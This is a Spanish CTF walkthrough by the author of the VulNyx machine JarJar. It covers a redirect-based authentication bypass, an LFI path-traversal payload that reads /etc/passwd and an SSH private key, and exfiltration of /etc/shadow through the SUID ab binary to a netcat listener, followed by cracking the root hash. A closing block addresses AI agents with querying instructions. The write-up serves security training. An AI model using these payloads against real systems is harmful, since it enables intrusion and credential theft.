# JarJar ## Introducción Muy buenas y bienvenidos a la resolución de la máquina JarJar de VulNyx, esta es otra de las máquinas que hago para la plataforma de VulNyx, en este caso es el inicio de una saga de máquinas basadas de la tan conocida saga de Star Wars, espero que os guste y empecemos ya con la resolución. A continuación veremos las técnicas que nos encontraremos, vamos a poner todas las que hay, como si fuera un pentest: * **Username Enumeration** a través del login.php * Authentication Bypass via Direct Access * Local File Inclusion - Approved Path (EAR) * PrivEsc - /usr/bin/ab SUID

La propia máquina nos da la IP de la máquina que es la 192.168.93.130 en mi caso, se podría encontrar con `arp-scan -I --localnet` o con `nmap -sn `

Una vez tenemos la IP de la máquina JarJar, hacemos un escaneo para ver que puertos abiertos hay: ``` sudo nmap -sCV -p- -T5 192.168.93.130 -oN scan ```

Tenemos el típico puerto 22 y 80, que seguramente significa que será hacking web... siendo el creador de la máquina, os lo confirmo :joy:. Pues nos vamos directamente a la web, a ver que aparece: De primera aparece una intro rechulona de Star Wars que me costo lo suyo encontrar una plantilla que quedase bien así que estoy muy orgulloso jeje. Si nos fijamos al final aparece lo que pareced un virtual hosting, lo añadimos al `/etc/hosts`para ver si la página al entrar, es diferente.

Lo añadimos: (como podéis ver tengo varios virtual hosting, le estoy dando caña a HackTheBox :smile:)

Al entrar a la página se ve una totalmente diferente:

Como todos sabéis Jar Jar Binks era un sith, vale? Hay una conspiración por ahí con muchas teorias que yo apoyo, porque sino que gracia tiene sino? Bueno... paro ya de desviarme del tema, vamos con la máquina. Cuando inspeccionamos la página, pues es la típica normal con lore de la saga y poco más, revisamos bien las cabeceras de la página por si nos filtra algo:

No saca gran cosa, pero es algo que siempre hay que hacer por si acaso

Nos ponemos con las **DevTools > Network** y recargamos la página por si saca algun archivo que no tiene que cargar:

Otro check sería revisar bien el código en busca de archivos JavaScript o comentarios, pero la máquina no va por ahí. El path va por el Admin Panel y su funcionalidad que explicaremos más a delante. ## Username Enumeration Si le damos nos redirige a una web para hacer login, suponemos que para acceder al admin panel tenemos que estar logueados.

Aquí es donde viene el User Enumeration, anteriormente en la parte de Character, habían 3 usuarios: * ***JarJar*** * ***Obiwan*** * ***Quigon*** Los probamos a ver si existen en el sistema o no, o si pones uno que no existe, cambia el mensaje de error, eso es una manera de enumerar si el usuario existe o no, también otra manera es ver el resultado que te devuelve en **Length**.

Cuando ponemos admin, nos aparece que Invalid Username or Password, esto nos demuestra que podemos enumerar usuarios.

Utilizando el mensaje de error diferente para cuando existe, y para cuando no, se podría utilizar para un ataque de fuerza bruta, pero en este caso no aplica ya que no es el path. ## Authentication Bypass via Direct Access De acuerdo, cuando hay un redirect nosotros como pentesters tenemos que hacer **SIEMPRE** una comprobación de como se está gestioando la petición, porque a veces puede pasar que se ha configurado mal la petición y podemos abusar de ella si la analizamos de manera correcta, como justamente pasa en esta máquina, por detrás se ha cometido un en el código fuente el cual nos permitirá entrar al admin panel sin otorgar contraseña, vamos a ello. Le damos a admin panel e Interceptamos la petición para ver como se gestiona. A primera vista no vemos nada raro:

Nada rado, solamente las cookies que podemos hacer algo a lo mejor...

De acuerdo, pues para inspeccionar los redirects tenemos una manera de saber como se gestiona y si este se ha configurado correctamente, le damos a **Do Intercept > Response to this request,** lo que haremos aquí es interceptar la respuesta del redirect, le damos a **Forward**.

Como vemos en la imagen de abajo, tenemos acceso al código fuente de la página ***admin.php***:

Podemos incluso ver directorios que no teníamos acceso antes (si hubiéramos hecho fuzzing tampoco lo hubiéramos encontrado), esta es una manera de entrar, coges el nuevo directorio y lo pones directamente en la URL -> /secure\_files\_admin/users.php. Pero la manera correcta de hacerlo y que siempre funcionará, es cambiar el estado del redirect que es **302** a un **200**, así cuando enviemos la respuesta en vez de hacer el redirect, será un 200 y tendremos acceso directo, esta es la manera correcta de entrar, porque a lo mejor no hay esos directorios siempre expuestos en el código fuente, pero lo que siempre funcionará será cambiar el estado del código. Cambiamos de 301 a 200:

Le damos a Forward:

Y boom, tenemos acceso al admin panel:

### ¿Qué acaba de pasar? Muchos os preguntaréis... ¿Qué acaba de pasar y porque esto ha funcionado? Vamos a entenderlo de una manera muy simple. Para un redirect, normalmente se utiliza la cabecera `Location:` entonces, por detrás la aplicación web redirige a los usuarios que entren al `/admin.php` si están autenticados, al no estarlo y no tener una sesión activa, nos redirge al `/login.php` para autenticarnos con un usuario válido. Cómo se vería en PHP? Aquí te muestro: ```php if(!$_SESSION['active']) { header("Location: login.php"); } ``` Al hacer la petición al `admin.php` tiene este pedacito de código, la cosa es que ese código es vulnerable a lo que acabamos de explotar, y dirás... por qué? El script PHP de arriba no detiene la ejecución, lo que provoca que la información protegida de la página se envíe en el cuerpo de la respuesta como vimos anteriormente, permitiéndonos ver el contenido entero de la página en el cuerpo de la respuesta. Pero si accedemos directamente desde el navegador sigue el redirect y nos lleva al `login.php` , por eso mismo enseñe arriba el como bypassearlo, cambiándole el código de 302 a 200. Para evitar que la información protegida sea devuelta en el cuerpo de la respuesta de la redirección, el script PHP necesita salir después de emitir la redirección: ```php if(!$_SESSION['active']) { header("Location: login.php"); exit; } ``` En el script vulnerable, en ningún momento se acaba el redirect y se queda en bucle, por eso podemos ver la información, simplemente con un `exit;` terminamos la petición y nunca pasaría esta vulnerabilidad. ## Local File Inclusion Cuando accedemos al panel de administración de la web, en la parte de Logs, encontramos arriba un parámetro que se pone automáticamente:

Si no tuviéramos el parámetro, podríamos haber hecho un fuzzing con **ffuf** o **wfuzz**, pero este no es el caso. Parece que está mostrando un archivo .log que debe estar alojado en alguna carpeta del servidor, si el parámetro se llamada logs, vamos a suponer que la carpeta es **/logs**. Cuando ponemos un payload básico de LFI nos muestra el siguiente mensaje:

La web app revisa que cuando ponemos un input en el parámetro hay un path especifico que tiene puesto el servidor, siempre que veáis que restringe de esta manera, tenéis que pensar instantáneamente en la técnica Approved Path, muchas web apps utilizan esta técnica para evitar que se haya LFI + Path Traversal, obligan que pongas el path especifico para que te muestre el archivo indicado, pero que pasa... si ha sido mal gestionado y hay una sanitización un poco escasa? Vamos a probar, con establecer al principio del input `./logs` y después el Path traversal: ``` ./logs/../../../etc/passwd ```

Ha desaparecido el mensaje de Illegal Path Specified!

Parece que hemos bypasseado la regex que debe haber por detrás que valida si hay el /logs o no, ahora solo nos queda tirar para atrás los directorios para ir a la raíz `/` del sistema:

Y lo hemos bypasseado con éxito! Pues teniamos 3 usuarios enumerados anteriormente junto con el User Enumeration, vamos a ver si existen también en el sistema o solo son usuarios del web server:

Buscamos por la id\_rsa de JarJar que es el usuario que parece más indicado, por el nombre de la máquina. ``` vhttp://jarjar.nyx/secure_files_admin/files.php?logs=./logs/../../../../home/jarjar/.ssh/id_rsa ``` Y obtenemos la id\_rsa del usuario JarJar, ahora la copiamos a un archivo id\_rsa y le ponemos los permisos indicados `chmod 600 id_rsa` y entramos con ssh.

Y entramos!

## Escalada vía 1 binario ab Cuando buscamos por permisos **sudo**, no está instalado, cuando buscamos por binarios **SUID** encontramos un binario llamado `/usr/bin/ab`:

Este está en [gtfobins ](https://gtfobins.github.io/)para explotar, así que fácil de escalar a root, quise poner una escalada más complicada... pero viendo atrás con las vulnerabilidades que tocan que no son tan "comunes" pense que sería mejor hacer una escalada muy fácil, aunque pienso que el ab está chula de explotar, por eso mismo la puse.

ab es un binario que viene instalado junto apache2 de base cuando lo instalas.

Viendo el como funciona, simplemente tenemos que crear un listener con netcat y enviarnos un archivo del sistema de la máquina, la vía es el **/etc/shadow,** este contendrá el hash de root y le haremos fuerza bruta con john. Primero abrimos el listener: ``` nc -lvnp 4444 ``` Seguidamente nos enviamos el archivo: ```bash /usr/bin/ab -p /etc/shadow http://192.168.93.128:4444/shadow ```

Lo recibimos

Cogemos el hash de root y le quitamos todo lo innecesario: ``` root:$y$j9T$06k8CpwIHWwvgOizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxOGQaxqZ0 ``` Si lo hacemos sin especificar el tipo de hash que estamos intentando crackear saldrá así:

Cuando hagamos fuerza bruta a un hash del sistema como en el `/etc/shadow` es necesario especificar el formato, en este caso es `crypt` ``` john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash ```

Y conseguimos el root:

## Despedida Espero que os haya gustado y hayáis aprendido que era mi objetivo, en un tiempo sacaré la 2nda máquina basada en la saga Star Wars. Chao :smile: --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://j4ckie0x17.gitbook.io/notes-pentesting/writeups/vulnyx/jarjar.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.